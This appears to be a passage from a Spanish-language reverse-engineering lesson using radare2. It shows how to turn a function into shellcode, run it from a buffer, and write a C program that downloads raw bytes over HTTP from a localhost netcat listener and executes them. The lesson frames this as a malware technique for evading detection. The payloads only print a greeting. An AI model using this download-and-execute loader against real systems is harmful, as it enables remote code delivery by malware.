[0x557a8fb295fa]>
Si sabes algo de ASM y opcodes, verás que 0x90 es el opcode de la instrucción nop. La instrucción nop simplemente no hace nada.
El programa empieza moviendo el puntero a una dirección a rax = 0x557a8fb296a4.
[0x557a8fb295fa]> pxw @ 0x557a8fb296a4
0x557a8fb296a4 0x90909090 0x3b031b01 0x0000003c 0x00000006 .......;<.......
Y esa dirección contiene nuestro buffer de nops. Tras un par de instrucciones, el programa saltará allí mediante un call.
│ ;-- rip:
│ 0x557a8fb29616 b ffd2 call rdx
│ 0x557a8fb29618 90 nop
│ 0x557a8fb29619 c9 leave
└ 0x557a8fb2961a c3 ret
[0x557a8fb29616]> dr rdx
0x557a8fb296a4
Y como los bytes de nuestro buffer hexadecimal se traducen fácilmente a instrucciones, el programa los «leerá» como código ejecutable, como puedes ver aquí:
[0x557a8fb29616]> ds
[0x557a8fb296a4]> pd 10
; DATA XREF from main @ 0x557a8fb29602
;-- b2:
;-- rdx:
;-- rip:
0x557a8fb296a4 90 nop
0x557a8fb296a5 90 nop
0x557a8fb296a6 90 nop
0x557a8fb296a7 90 nop
;-- section..eh_frame_hdr:
;-- segment.GNU_EH_FRAME:
;-- .eh_frame_hdr:
;-- __GNU_EH_FRAME_HDR:
0x557a8fb296a8 011b add dword [rbx], ebx ; [16] -r-- section size 60 named .eh_frame_hdr
0x557a8fb296aa 033b add edi, dword [rbx]
0x557a8fb296ac 3c00 cmp al, 0
Los nops se ejecutarán y después se ejecutará el extraño add dword [rbx], ebx que corresponde a una inicialización de memoria rara. Como el código posterior no tiene sentido por eso, el programa probablemente crasheará. Pero captas la idea, ¿verdad? ¿Y si conseguimos crear un buffer hexadecimal que represente realmente una función válida, una función que limpie la pila y retorne al código que la llamó?
Hagámoslo entonces.
Como en el programa anterior la función hello estaba de algún modo «autocontenida», podemos «convertirla en shellcode».
[0x55ef096056aa]> pdf
; CALL XREF from main @ 0x55ef09605707
┌ 84: sym.hello ();
│ ; var int64_t var_14h @ rbp-0x14
│ ; var int64_t var_ch @ rbp-0xc
│ ; var int64_t var_8h @ rbp-0x8
│ 0x55ef096056aa 55 push rbp
│ 0x55ef096056ab 4889e5 mov rbp, rsp
│ 0x55ef096056ae 4883ec20 sub rsp, 0x20
│ 0x55ef096056b2 64488b042528. mov rax, qword fs:[0x28]
│ 0x55ef096056bb 488945f8 mov qword [var_8h], rax
│ 0x55ef096056bf 31c0 xor eax, eax
│ 0x55ef096056c1 48b868656c6c. movabs rax, 0x6f77206f6c6c6568 ; 'hello wo'
│ 0x55ef096056cb 488945ec mov qword [var_14h], rax
│ 0x55ef096056cf c745f4726c64. mov dword [var_ch], 0x646c72 ; 'rld'
│ 0x55ef096056d6 488d45ec lea rax, [var_14h]
│ 0x55ef096056da 4889c7 mov rdi, rax
│ 0x55ef096056dd b800000000 mov eax, 0
│ 0x55ef096056e2 e899feffff call sym.imp.printf ; int printf(const char *format)
│ 0x55ef096056e7 90 nop
│ 0x55ef096056e8 488b45f8 mov rax, qword [var_8h]
│ 0x55ef096056ec 644833042528. xor rax, qword fs:[0x28]
│ ┌─< 0x55ef096056f5 7405 je 0x55ef096056fc
│ │ 0x55ef096056f7 e874feffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ └─> 0x55ef096056fc c9 leave
└ 0x55ef096056fd c3 ret
[0x55ef096056aa]>
Una vez dentro en r2, usaremos pc.
[0x55ef096056aa]> pc
#define _BUFFER_SIZE 256
const uint8_t buffer[_BUFFER_SIZE] = {
0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x20, 0x64, 0x48,
0x8b, 0x04, 0x25, 0x28, 0x00, 0x00, 0x00, 0x48, 0x89, 0x45,
0xf8, 0x31, 0xc0, 0x48, 0xb8, 0x68, 0x65, 0x6c, 0x6c, 0x6f,
0x20, 0x77, 0x6f, 0x48, 0x89, 0x45, 0xec, 0xc7, 0x45, 0xf4,
0x72, 0x6c, 0x64, 0x00, 0x48, 0x8d, 0x45, 0xec, 0x48, 0x89,
0xc7, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xe8, 0x99, 0xfe, 0xff,
0xff, 0x90, 0x48, 0x8b, 0x45, 0xf8, 0x64, 0x48, 0x33, 0x04,
0x25, 0x28, 0x00, 0x00, 0x00, 0x74, 0x05, 0xe8, 0x74, 0xfe,
0xff, 0xff, 0xc9, 0xc3, 0x55, 0x48, 0x89, 0xe5, 0xb8, 0x00,
0x00, 0x00, 0x00, 0xe8, 0x9e, 0xff, 0xff, 0xff, 0x90, 0x5d,
0xc3, 0x90, 0x41, 0x57, 0x41, 0x56, 0x49, 0x89, 0xd7, 0x41,
0x55, 0x41, 0x54, 0x4c, 0x8d, 0x25, 0x8e, 0x06, 0x20, 0x00,
0x55, 0x48, 0x8d, 0x2d, 0x8e, 0x06, 0x20, 0x00, 0x53, 0x41,
0x89, 0xfd, 0x49, 0x89, 0xf6, 0x4c, 0x29, 0xe5, 0x48, 0x83,
0xec, 0x08, 0x48, 0xc1, 0xfd, 0x03, 0xe8, 0x07, 0xfe, 0xff,
0xff, 0x48, 0x85, 0xed, 0x74, 0x20, 0x31, 0xdb, 0x0f, 0x1f,
0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4c, 0x89, 0xfa, 0x4c,
0x89, 0xf6, 0x44, 0x89, 0xef, 0x41, 0xff, 0x14, 0xdc, 0x48,
0x83, 0xc3, 0x01, 0x48, 0x39, 0xdd, 0x75, 0xea, 0x48, 0x83,
0xc4, 0x08, 0x5b, 0x5d, 0x41, 0x5c, 0x41, 0x5d, 0x41, 0x5e,
0x41, 0x5f, 0xc3, 0x90, 0x66, 0x2e, 0x0f, 0x1f, 0x84, 0x00,
0x00, 0x00, 0x00, 0x00, 0xf3, 0xc3, 0x00, 0x00, 0x48, 0x83,
0xec, 0x08, 0x48, 0x83, 0xc4, 0x08, 0xc3, 0x00, 0x00, 0x00,
0x01, 0x00, 0x02, 0x00, 0x01, 0x1b, 0x03, 0x3b, 0x40, 0x00,
0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0xcc, 0xfd, 0xff, 0xff,
0x8c, 0x00, 0x00, 0x00, 0xfc, 0xfd
};
Eso nos devolverá un buffer con el shellcode de la función para que podamos usarlo en nuestras actividades maliciosas.
Dentro del código funcionará así:
#include <stdio.h>
#include<string.h>
#include <stdint.h>
#define _BUFFER_SIZE 256
const uint8_t buffer[_BUFFER_SIZE] = {
0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x20, 0x64, 0x48,
0x8b, 0x04, 0x25, 0x28, 0x00, 0x00, 0x00, 0x48, 0x89, 0x45,
0xf8, 0x31, 0xc0, 0x48, 0xb8, 0x48, 0x65, 0x6c, 0x6c, 0x6f,
0x20, 0x66, 0x72, 0x48, 0x89, 0x45, 0xea, 0xc7, 0x45, 0xf2,
0x69, 0x65, 0x6e, 0x64, 0x66, 0xc7, 0x45, 0xf6, 0x21, 0x00,
0x48, 0x8d, 0x45, 0xea, 0x48, 0x89, 0xc7, 0xb8, 0x00, 0x00,
0x00, 0x00, 0xe8, 0x93, 0xfe, 0xff, 0xff, 0x90, 0x48, 0x8b,
0x45, 0xf8, 0x64, 0x48, 0x33, 0x04, 0x25, 0x28, 0x00, 0x00,
0x00, 0x74, 0x05, 0xe8, 0x6e, 0xfe, 0xff, 0xff, 0xc9, 0xc3,
0x55, 0x48, 0x89, 0xe5, 0x90, 0x5d, 0xc3, 0x0f, 0x1f, 0x44,
0x00, 0x00, 0x41, 0x57, 0x41, 0x56, 0x49, 0x89, 0xd7, 0x41,
0x55, 0x41, 0x54, 0x4c, 0x8d, 0x25, 0x8e, 0x06, 0x20, 0x00,
0x55, 0x48, 0x8d, 0x2d, 0x8e, 0x06, 0x20, 0x00, 0x53, 0x41,
0x89, 0xfd, 0x49, 0x89, 0xf6, 0x4c, 0x29, 0xe5, 0x48, 0x83,
0xec, 0x08, 0x48, 0xc1, 0xfd, 0x03, 0xe8, 0x07, 0xfe, 0xff,
0xff, 0x48, 0x85, 0xed, 0x74, 0x20, 0x31, 0xdb, 0x0f, 0x1f,
0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4c, 0x89, 0xfa, 0x4c,
0x89, 0xf6, 0x44, 0x89, 0xef, 0x41, 0xff, 0x14, 0xdc, 0x48,
0x83, 0xc3, 0x01, 0x48, 0x39, 0xdd, 0x75, 0xea, 0x48, 0x83,
0xc4, 0x08, 0x5b, 0x5d, 0x41, 0x5c, 0x41, 0x5d, 0x41, 0x5e,
0x41, 0x5f, 0xc3, 0x90, 0x66, 0x2e, 0x0f, 0x1f, 0x84, 0x00,
0x00, 0x00, 0x00, 0x00, 0xf3, 0xc3, 0x00, 0x00, 0x48, 0x83,
0xec, 0x08, 0x48, 0x83, 0xc4, 0x08, 0xc3, 0x00, 0x00, 0x00,
0x01, 0x00, 0x02, 0x00, 0x90, 0x90, 0x90, 0x90, 0x01, 0x1b,
0x03, 0x3b, 0x44, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0xc8, 0xfd, 0xff, 0xff, 0x90, 0x00
};
void main(){
int (*func)();
func = (int (*)()) buffer;
(int)(*func)();
}
Y dentro de r2 será así:
[0x5606c6856704]> pdf
; DATA XREF from entry0 @ 0x5606c68565bd
┌ 33: int main (int argc, char **argv, char **envp);
│ ; var int64_t var_8h @ rbp-0x8
│ 0x5606c6856704 55 push rbp
│ 0x5606c6856705 4889e5 mov rbp, rsp
│ 0x5606c6856708 4883ec10 sub rsp, 0x10
│ 0x5606c685670c 488d05ed0000. lea rax, obj.buffer ; 0x5606c6856800
│ 0x5606c6856713 488945f8 mov qword [var_8h], rax
│ 0x5606c6856717 488b55f8 mov rdx, qword [var_8h]
│ 0x5606c685671b b800000000 mov eax, 0
│ 0x5606c6856720 ffd2 call rdx
│ 0x5606c6856722 90 nop
│ 0x5606c6856723 c9 leave
└ 0x5606c6856724 c3 ret
[0x5606c6856704]>
Lo mismo al inicio y luego el call:
[0x556afbdba800]> pd 10
; DATA XREF from main @ 0x556afbdba70c
;-- buffer:
;-- rdx:
;-- rip:
0x556afbdba800 55 push rbp
0x556afbdba801 4889e5 mov rbp, rsp
0x556afbdba804 4883ec20 sub rsp, 0x20
0x556afbdba808 64488b042528. mov rax, qword fs:[0x28]
0x556afbdba811 488945f8 mov qword [rbp - 8], rax
0x556afbdba815 31c0 xor eax, eax
0x556afbdba817 ~ 48b848656c6c. movabs rax, 0x7266206f6c6c6548 ; 'Hello fr'
;-- str.Hello_frH:
Ahí estará nuestro código. Ejecutar el programa producirá un «hello friend» sin crashear.
Descarga de shellcode
Probablemente estés pensando que, dado que solo necesitamos esos bytes en un buffer en memoria, podemos obtenerlos de un archivo o quizás de un servidor remoto. Y sí, esa técnica la usa habitualmente el malware para evadir ciertos mecanismos de detección.
Supongamos que tenemos un código como este:
int main() {
write (1,"Hello!\n",7);
exit(0);
}
Puede ser tan simple o tan complejo como quieras; el único requisito es que sea «autocontenido» (o que aplique correcciones sobre el programa anfitrión) y queremos entregarlo a un posible anfitrión que esté «esperándolo» a través de internet. Ya sabemos cómo obtenerlo y ejecutarlo en el programa anfitrión, pero ¿cómo lo traducimos a opcodes y lo entregamos por la red?
Podemos obtener esos opcodes usando ragg2 y luego volcarlos a un archivo hexadecimal:
:~/C$
:~/C$ ragg2-cc -x w.c
eb0848656c6c6f210a00bf01000000488d35ecffffffba07000000b8010000000f0531ffb83c0000000f0531c0c3
Ahora simplemente podemos copiar y pegar esto, usar hexedit para crear un archivo nuevo y pegar el hexadecimal; así tendremos nuestro archivo binario de shellcode listo para entregarlo usando nuestro servidor HTTP.
El volcado tendrá este aspecto dentro de r2:
[0x00000000]> pd 50
;-- rflags:
┌ 38: fcn.00000000 ();
│ ┌─< 0x00000000 eb00 jmp 2
│ │ ; CODE XREF from fcn.00000000 @
│ └─> 0x00000002 488d351d0000. lea rsi, [0x00000026] ; "Hello!\n" ; 38
│ 0x00000009 bf01000000 mov edi, 1
│ 0x0000000e ba07000000 mov edx, 7
│ 0x00000013 b801000000 mov eax, 1
│ 0x00000018 0f05 syscall
│ 0x0000001a 31ff xor edi, edi
│ 0x0000001c b83c000000 mov eax, 0x3c ; '<' ; 60
│ 0x00000021 0f05 syscall
│ 0x00000023 31c0 xor eax, eax
└ 0x00000025 c3 ret
; DATA XREF from fcn.00000000 @ 0x2
0x00000026 48656c insb byte [rdi], dx
0x00000029 6c insb byte [rdi], dx
0x0000002a 6f outsd dx, dword [rsi]
0x0000002b 210a and dword [rdx], ecx
0x0000002d 00ff add bh, bh
Como ves, aquí estamos tratando directamente con syscalls (observa la instrucción syscall). Fíjate también en que tenemos dos: una para print y otra para exit, y la cadena está de algún modo autocontenida dentro del código.
Vamos con el programa anfitrión; será similar al cliente HTTP anterior:
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <netinet/in.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
#include <stdlib.h>
#define BSIZE 256
#define KSIZE 11
int main(int argc, char *argv[]) {
int sockfd, portno, n;
struct sockaddr_in serv_addr;
struct hostent *server;
char key[KSIZE];
char request[] = "GET /sh HTTP/1.1\r\nUser-Agent: nc/0.0.1\r\nHost: 127.0.0.1\r\nAccept: */*\r\n\r\n";
char buffer[BSIZE];
portno = 80;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
server = gethostbyname("127.0.0.1");
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
bcopy((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr, server->h_length);
serv_addr.sin_port = htons(portno);
if (connect(sockfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr)) < 0) {
exit(1);
}
bzero(buffer,BSIZE);
n = write(sockfd, request, strlen(request));
bzero(buffer,BSIZE);
n = read(sockfd, buffer, BSIZE);
printf("jumpting to shellcode\n");
int (*func)();
func = (int (*)()) buffer;
(int)(*func)();
return 0;
}
Nuestra rutina de buffer int func se ha añadido al final y esta vez no estamos leyendo una cadena sino bytes ejecutables.
Esta vez, para no complicar demasiado el ejemplo, no usaré un servidor web como Apache2; usaré netcat para «emular» un servidor web para esta única petición de la siguiente manera:
:/var/www/html$ sudo nc -lvp 80 < sh
Listening on [0.0.0.0] (family 0, port 80)
Connection from localhost 36428 received!
GET /sh HTTP/1.1
User-Agent: nc/0.0.1
Host: 127.0.0.1
Accept: */*
Siendo sh el shellcode en hexadecimal RAW. Este comando indica a netcat que simplemente vuelque los bytes de ese archivo al primer cliente que se conecte a su puerto 80.
Entonces, ejecutar el programa será así:
:~/C/generic$ gcc -w httpget_download_shellcode.c -o sh -fno-stack-protector -z execstack
:~/C/generic$ ./sh
jumpting to shellcode
Hello!
Fíjate en que compilé el programa con esos flags; de lo contrario no funcionará.
Analicémoslo ahora:
0x55d39c38bac4 89c7 mov edi, eax
│ 0x55d39c38bac6 b800000000 mov eax, 0
│ ;-- rip:
│ 0x55d39c38bacb b e8c0fcffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ 0x55d39c38bad0 8945ec mov dword [var_14h], eax
│ 0x55d39c38bad3 488d3db40000. lea rdi, str.jumpting_to_shellcode ; 0x55d39c38bb8e ; "jumpting to shellcode"
│ 0x55d39c38bada e871fcffff call sym.imp.puts ; int puts(const char *s)
│ 0x55d39c38badf 488d8570feff. lea rax, [var_190h]
│ 0x55d39c38bae6 488945e0 mov qword [var_20h], rax
│ 0x55d39c38baea 488b55e0 mov rdx, qword [var_20h]
│ 0x55d39c38baee b800000000 mov eax, 0
│ 0x55d39c38baf3 ffd2 call rdx
El buffer empieza vacío, como siempre, y después se rellenará con shellcode:
[0x55d39c38bacb]> afvd
type:char ** doesn't exist
arg argc = 0x00000003 0xffffffffffffffff ........ @rdi 0
arg argv =
var var_194h = 0x7ffe727894ec = (qword)0x0000000000000001
var var_1a0h = 0x7ffe727894e0 = (qword)0x00007ffe72789768
var var_90h = 0x7ffe727895f0 = (qword)0x2068732f20544547
var var_88h = 0x7ffe727895f8 = (qword)0x312e312f50545448
var var_80h = 0x7ffe72789600 = (qword)0x412d726573550a0d
var var_78h = 0x7ffe72789608 = (qword)0x636e203a746e6567
var var_70h = 0x7ffe72789610 = (qword)0x0a0d312e302e302f
var var_68h = 0x7ffe72789618 = (qword)0x3231203a74736f48
var var_60h = 0x7ffe72789620 = (qword)0x0d312e302e302e37
var var_58h = 0x7ffe72789628 = (qword)0x3a7470656363410a
var var_50h = 0x7ffe72789630 = (qword)0x0a0d0a0d2a2f2a20
var var_48h = 0x7ffe72789638 = (qword)0x0000000000f0b500
var var_4h = 0x7ffe7278967c = (qword)0x9c38bb0000000050
var var_8h = 0x7ffe72789678 = (qword)0x0000005000000003
var var_10h = 0x7ffe72789670 = (qword)0x00007f4571b62300
var var_30h = 0x7ffe72789650 = (qword)0x0100007f50000002
var var_2eh = 0x7ffe72789652 = (qword)0x00000100007f5000
var var_190h = 0x7ffe727894f0 = (qword)0x0000000000000000
var var_14h = 0x7ffe7278966c = (qword)0x71b6230000000048
var var_20h = 0x7ffe72789660 = (qword)0x000055d39c38bb00
[0x55d39c38bacb]> pxw @ 0x7ffe727894f0
0x7ffe727894f0 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x7ffe72789500 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x7ffe72789510 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x7ffe72789520 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x7ffe72789530 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x7ffe72789540 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x7ffe72789550 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x7ffe72789560 0x00000000 0x00000000 0x00000000 0x00000000 ................
Después de la llamada a read:
[0x55d39c38bacb]> dc
hit breakpoint at: 55d39c38bad0
[0x55d39c38bad0]> pxw @ 0x7ffe727894f0
0x7ffe727894f0 0x8d4800eb 0x00001d35 0x0001bf00 0x07ba0000 ..H.5...........
0x7ffe72789500 0xb8000000 0x00000001 0xff31050f 0x00003cb8 ..........1..<..
0x7ffe72789510 0x31050f00 0x6548c3c0 0x216f6c6c 0x0000000a ...1..Hello!....
0x7ffe72789520 0x00000000 0x00000000 0x00000000 0x00000000 ................
Ahora, en este punto:
│ 0x55d39c38baea 488b55e0 mov rdx, qword [var_20h]
│ 0x55d39c38baee b800000000 mov eax, 0
│ ;-- rip:
│ 0x55d39c38baf3 b ffd2 call rdx
│ 0x55d39c38baf5 b800000000 mov eax, 0
│ 0x55d39c38bafa c9 leave
└ 0x55d39c38bafb c3 ret
[0x55d39c38baf3]> dr rdx
0x7ffe727894f0
[0x55d39c38baf3]>
Y como vemos, si usamos pd para volcar esas instrucciones, vemos que todas tienen sentido:
[0x559e09c42af3]> pd 20 @ 0x7ffe05af6b40
;-- rdx:
┌─< 0x7ffe05af6b40 eb00 jmp 0x7ffe05af6b42
└─> 0x7ffe05af6b42 488d351d0000. lea rsi, [0x7ffe05af6b66] ; "Hello!\n"
0x7ffe05af6b49 bf01000000 mov edi, 1
0x7ffe05af6b4e ba07000000 mov edx, 7
0x7ffe05af6b53 b801000000 mov eax, 1
0x7ffe05af6b58 0f05 syscall
0x7ffe05af6b5a 31ff xor edi, edi
0x7ffe05af6b5c b83c000000 mov eax, 0x3c ; '<' ; 60
0x7ffe05af6b61 0f05 syscall
0x7ffe05af6b63 31c0 xor eax, eax
0x7ffe05af6b65 c3 ret
0x7ffe05af6b66 48656c insb byte [rdi], dx
0x7ffe05af6b69 6c insb byte [rdi], dx
0x7ffe05af6b6a 6f outsd dx, dword [rsi]
0x7ffe05af6b6b 210a and dword [rdx], ecx
En las próximas entregas veremos temas más avanzados como mecanismos de comando y control sobre DNS, esta vez explorando la API de Windows.
Antes de continuar
Explica con tus palabras la operación estudiada y señala las instrucciones o capturas que la justifican. Distingue los datos observados de los nombres y tipos que has reconstruido.
El progreso se guarda en este navegador. Puedes recorrer las lecciones en cualquier orden.